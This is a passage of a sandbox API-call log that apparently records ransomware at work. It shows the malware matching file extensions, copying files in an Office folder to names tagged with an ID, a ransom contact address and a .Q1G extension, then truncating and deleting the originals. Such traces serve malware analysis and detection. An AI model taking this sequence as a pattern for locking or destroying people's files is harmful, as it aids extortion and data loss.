returned 4 [0247.742] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.742] lstrlenW (lpString=".docx") returned 5 [0247.742] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0247.742] lstrlenW (lpString=".pdf") returned 4 [0247.742] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.742] lstrlenW (lpString=".xls") returned 4 [0247.742] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.742] lstrlenW (lpString=".xlsx") returned 5 [0247.742] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0247.742] lstrlenW (lpString=".ppt") returned 4 [0247.743] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString=".zip") returned 4 [0247.743] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.743] lstrlenW (lpString=".rar") returned 4 [0247.743] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString=".bz2") returned 4 [0247.743] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString=".7z") returned 3 [0247.743] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString=".dbf") returned 4 [0247.743] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString=".1cd") returned 4 [0247.743] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString=".jpg") returned 4 [0247.743] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString=".doc") returned 4 [0247.743] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString=".docx") returned 5 [0247.743] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0247.743] lstrlenW (lpString=".pdf") returned 4 [0247.743] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString=".xls") returned 4 [0247.743] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.743] lstrlenW (lpString=".xlsx") returned 5 [0247.743] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0247.743] lstrlenW (lpString=".ppt") returned 4 [0247.743] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.743] lstrlenW (lpString=".zip") returned 4 [0247.743] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.743] lstrlenW (lpString=".rar") returned 4 [0247.743] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.743] lstrlenW (lpString=".bz2") returned 4 [0247.744] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.744] lstrlenW (lpString=".7z") returned 3 [0247.744] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.744] lstrlenW (lpString=".dbf") returned 4 [0247.744] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.744] lstrlenW (lpString=".1cd") returned 4 [0247.744] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.744] lstrlenW (lpString=".jpg") returned 4 [0247.744] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.744] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.744] lstrlenW (lpString="DWGCNV.VSL") returned 10 [0247.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.242] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=38752) returned 1 [0248.242] CloseHandle (hObject=0x200) returned 1 [0248.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20 [0248.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.320] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.320] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.320] GetLastError () returned 0x0 [0248.320] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x9760, lpOverlapped=0x0) returned 1 [0248.340] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x9770, lpOverlapped=0x0) returned 1 [0248.341] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.342] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0248.342] SetEndOfFile (hFile=0x3b0) returned 1 [0248.386] CloseHandle (hObject=0x3b0) returned 1 [0248.414] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.414] SetEndOfFile (hFile=0x390) returned 1 [0248.416] CloseHandle (hObject=0x390) returned 1 [0248.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 1 [0248.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.417] lstrlenW (lpString=".doc") returned 4 [0248.417] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.417] lstrlenW (lpString=".docx") returned 5 [0248.417] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0248.417] lstrlenW (lpString=".pdf") returned 4 [0248.417] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.417] lstrlenW (lpString=".xls") returned 4 [0248.417] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.417] lstrlenW (lpString=".xlsx") returned 5 [0248.417] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0248.417] lstrlenW (lpString=".ppt") returned 4 [0248.417] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString=".zip") returned 4 [0248.418] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.418] lstrlenW (lpString=".rar") returned 4 [0248.418] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString=".bz2") returned 4 [0248.418] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString=".7z") returned 3 [0248.418] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString=".dbf") returned 4 [0248.418] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString=".1cd") returned 4 [0248.418] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString=".jpg") returned 4 [0248.418] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString=".doc") returned 4 [0248.418] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString=".docx") returned 5 [0248.418] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0248.418] lstrlenW (lpString=".pdf") returned 4 [0248.418] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString=".xls") returned 4 [0248.418] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.418] lstrlenW (lpString=".xlsx") returned 5 [0248.418] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0248.418] lstrlenW (lpString=".ppt") returned 4 [0248.418] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.418] lstrlenW (lpString=".zip") returned 4 [0248.418] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.418] lstrlenW (lpString=".rar") returned 4 [0248.418] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.418] lstrlenW (lpString=".bz2") returned 4 [0248.419] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.419] lstrlenW (lpString=".7z") returned 3 [0248.419] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.419] lstrlenW (lpString=".dbf") returned 4 [0248.419] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.419] lstrlenW (lpString=".1cd") returned 4 [0248.419] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0248.419] lstrlenW (lpString=".jpg") returned 4 [0248.419] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.419] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.419] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0248.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.425] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=12160) returned 1 [0248.425] CloseHandle (hObject=0x3a0) returned 1 [0248.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll")) returned 0x20 [0248.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString=".doc") returned 4 [0248.426] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString=".docx") returned 5 [0248.426] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0248.426] lstrlenW (lpString=".pdf") returned 4 [0248.426] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString=".xls") returned 4 [0248.426] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString=".xlsx") returned 5 [0248.426] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0248.426] lstrlenW (lpString=".ppt") returned 4 [0248.426] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString=".zip") returned 4 [0248.426] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString=".rar") returned 4 [0248.426] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString=".bz2") returned 4 [0248.426] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.426] lstrlenW (lpString=".7z") returned 3 [0248.426] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString=".dbf") returned 4 [0248.426] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString=".1cd") returned 4 [0248.426] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString=".jpg") returned 4 [0248.426] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.426] lstrlenW (lpString=".doc") returned 4 [0248.426] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.427] lstrlenW (lpString=".docx") returned 5 [0248.427] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0248.427] lstrlenW (lpString=".pdf") returned 4 [0248.427] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.427] lstrlenW (lpString=".xls") returned 4 [0248.427] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.427] lstrlenW (lpString=".xlsx") returned 5 [0248.427] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0248.427] lstrlenW (lpString=".ppt") returned 4 [0248.427] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.427] lstrlenW (lpString=".zip") returned 4 [0248.427] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.427] lstrlenW (lpString=".rar") returned 4 [0248.427] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.427] lstrlenW (lpString=".bz2") returned 4 [0248.427] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.427] lstrlenW (lpString=".7z") returned 3 [0248.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.427] lstrlenW (lpString=".dbf") returned 4 [0248.427] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.427] lstrlenW (lpString=".1cd") returned 4 [0248.427] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0248.427] lstrlenW (lpString=".jpg") returned 4 [0248.427] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.427] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0248.427] lstrlenW (lpString="FACILITY.VSL") returned 12 [0248.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.446] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=81768) returned 1 [0248.446] CloseHandle (hObject=0x3a0) returned 1 [0248.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 0x20 [0248.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.447] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.447] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.447] GetLastError () returned 0x0 [0248.447] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x13f68, lpOverlapped=0x0) returned 1 [0248.464] WriteFile (in: hFile=0x200, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x13f70, lpOverlapped=0x0) returned 1 [0248.466] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.466] WriteFile (in: hFile=0x200, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.466] SetEndOfFile (hFile=0x200) returned 1 [0248.466] CloseHandle (hObject=0x200) returned 1 [0248.466] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.466] SetEndOfFile (hFile=0x3a0) returned 1 [0248.470] CloseHandle (hObject=0x3a0) returned 1 [0248.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 1 [0248.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.472] lstrlenW (lpString=".doc") returned 4 [0248.472] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString=".docx") returned 5 [0248.472] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0248.472] lstrlenW (lpString=".pdf") returned 4 [0248.472] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString=".xls") returned 4 [0248.472] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.472] lstrlenW (lpString=".xlsx") returned 5 [0248.472] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0248.472] lstrlenW (lpString=".ppt") returned 4 [0248.472] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.472] lstrlenW (lpString=".zip") returned 4 [0248.472] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.472] lstrlenW (lpString=".rar") returned 4 [0248.472] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString=".bz2") returned 4 [0248.472] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString=".7z") returned 3 [0248.472] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.472] lstrlenW (lpString=".dbf") returned 4 [0248.472] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.472] lstrlenW (lpString=".1cd") returned 4 [0248.472] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.472] lstrlenW (lpString=".jpg") returned 4 [0248.473] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.473] lstrlenW (lpString=".doc") returned 4 [0248.473] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString=".docx") returned 5 [0248.473] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0248.473] lstrlenW (lpString=".pdf") returned 4 [0248.473] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString=".xls") returned 4 [0248.473] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.473] lstrlenW (lpString=".xlsx") returned 5 [0248.473] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0248.473] lstrlenW (lpString=".ppt") returned 4 [0248.473] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.473] lstrlenW (lpString=".zip") returned 4 [0248.473] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.473] lstrlenW (lpString=".rar") returned 4 [0248.473] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString=".bz2") returned 4 [0248.473] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString=".7z") returned 3 [0248.473] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.473] lstrlenW (lpString=".dbf") returned 4 [0248.473] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.473] lstrlenW (lpString=".1cd") returned 4 [0248.473] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0248.473] 